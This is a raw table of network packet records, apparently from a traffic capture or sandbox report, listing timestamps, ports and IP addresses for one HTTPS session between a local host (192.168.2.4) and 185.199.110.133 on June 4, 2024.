Jun 4, 2024 13:41:08.063457966 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.063466072 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.063479900 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.063508987 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.063519001 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.063541889 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.063575029 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.063581944 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.063605070 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.063625097 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.063698053 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.063718081 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.063757896 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.063765049 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.063790083 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.063807011 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.063884974 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.063905954 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.063944101 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.063951015 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.063973904 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.063985109 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.063994884 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.064002991 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.064019918 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.064021111 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.064049959 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.064057112 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.064071894 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.064100981 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.064125061 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.064145088 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.064178944 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.064186096 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.064204931 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.064225912 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.064399004 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.064419031 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.064466000 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.064474106 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.064496994 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.064515114 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.064522028 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.064538956 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.064538956 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.064582109 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.064639091 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.064657927 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.064691067 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.064697981 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.064712048 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.064738989 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.064836025 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.064857006 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.064894915 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.064902067 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.064923048 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.064940929 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.065018892 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.065043926 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.065078974 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.065085888 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.065105915 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.065110922 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.065129995 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.065136909 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.065150023 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.065155029 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.065184116 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.065207958 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.065402031 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.065423965 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.065478086 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.065485954 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.065519094 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.065526962 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.065535069 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.065552950 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.065571070 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.065582991 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.065588951 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.065619946 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.065624952 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.065642118 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.065650940 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.065665960 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.065665960 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.065699100 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.065709114 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.065721989 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.065751076 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.065829992 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.065853119 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.065892935 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.065900087 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.065912008 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.065943956 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.065992117 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.066011906 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.066056013 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.066062927 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.066102982 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.066137075 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.066158056 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.066215038 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.066225052 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.066265106 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.066315889 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.066339970 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.066385031 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.066391945 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.066431999 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.066489935 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.066509962 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.066545963 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.066553116 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.066577911 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.066596031 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.066598892 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.066608906 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.066631079 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.066647053 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.066653967 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.066672087 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.066699982 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.066704035 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.066718102 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.066737890 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.066755056 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.066783905 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.066790104 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.066833019 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.066986084 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.067009926 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.067044973 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.067051888 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.067079067 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.067089081 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.067115068 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.067135096 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.067164898 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.067172050 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.067194939 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.067208052 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.067209959 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.067222118 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.067250967 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.067256927 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.067265987 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.067298889 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.067310095 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.068099022 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068130016 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068166018 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.068171978 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068198919 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.068207979 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068217993 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.068223000 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068239927 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068255901 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.068289042 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.068294048 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068305016 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068317890 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068336010 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.068341970 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068372965 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.068380117 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068394899 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.068399906 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068427086 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068435907 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.068471909 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.068494081 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.068497896 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068506956 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068535089 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068557024 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.068564892 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068594933 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.068599939 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068614006 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.068619013 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068630934 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068650007 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.068686962 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.068694115 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068717003 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.068722010 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068742990 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.068748951 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068775892 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.068783045 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068787098 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.068792105 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068813086 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068837881 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.068842888 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068861008 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068873882 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.068875074 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068890095 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.068896055 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068929911 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.068953991 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.068978071 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.068993092 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.069034100 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.069039106 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.069060087 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.069082022 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.069118977 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.069135904 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.069180012 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.069191933 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.069196939 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.069222927 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.069228888 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.069240093 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.069247007 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.069257021 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.069281101 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.069307089 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.069401026 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.069415092 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.069432020 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.069463968 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.069468975 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.069511890 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.069530964 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.069545031 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.069583893 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.069588900 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.069601059 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.069629908 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.069681883 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.069694042 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.069695950 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.069751978 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.069757938 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.069798946 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.069900990 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.069952011 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.069977999 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.070008993 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.070014954 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.070041895 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.070055008 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.070058107 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.070065975 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.070086956 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.070110083 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.070115089 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.070144892 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.070158005 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.070167065 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.070179939 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.070182085 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.070219994 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.070225000 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.070241928 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.070368052 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.070384026 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.070406914 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.070406914 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.070413113 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.070442915 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.070442915 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.070467949 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.070533037 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.070547104 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.070585012 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.070590019 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.070600986 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.070628881 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.070647955 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.070662022 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.070698977 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.070704937 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.070730925 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.070739031 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.070825100 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.070844889 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.070884943 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.070890903 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.070902109 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.070930004 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.071038961 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.071053982 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.071091890 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.071096897 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.071121931 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.071137905 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.071161032 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.071173906 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.071216106 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.071222067 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.071234941 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.071259022 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.071290970 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.071305037 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.071347952 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.071353912 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.071389914 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.071490049 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.071504116 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.071554899 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.071561098 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.071600914 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.071644068 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.071657896 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.071707964 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.071712971 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.071753025 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.071820021 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.071832895 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.071885109 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.071890116 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.071928978 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.071945906 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.071960926 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.072004080 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.072010040 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.072047949 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.072180033 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.072201967 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.072249889 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.072256088 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.072299004 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:08.072303057 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.072316885 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:08.072343111 CEST	443	49732	185.199.110.133	192.168.2.4
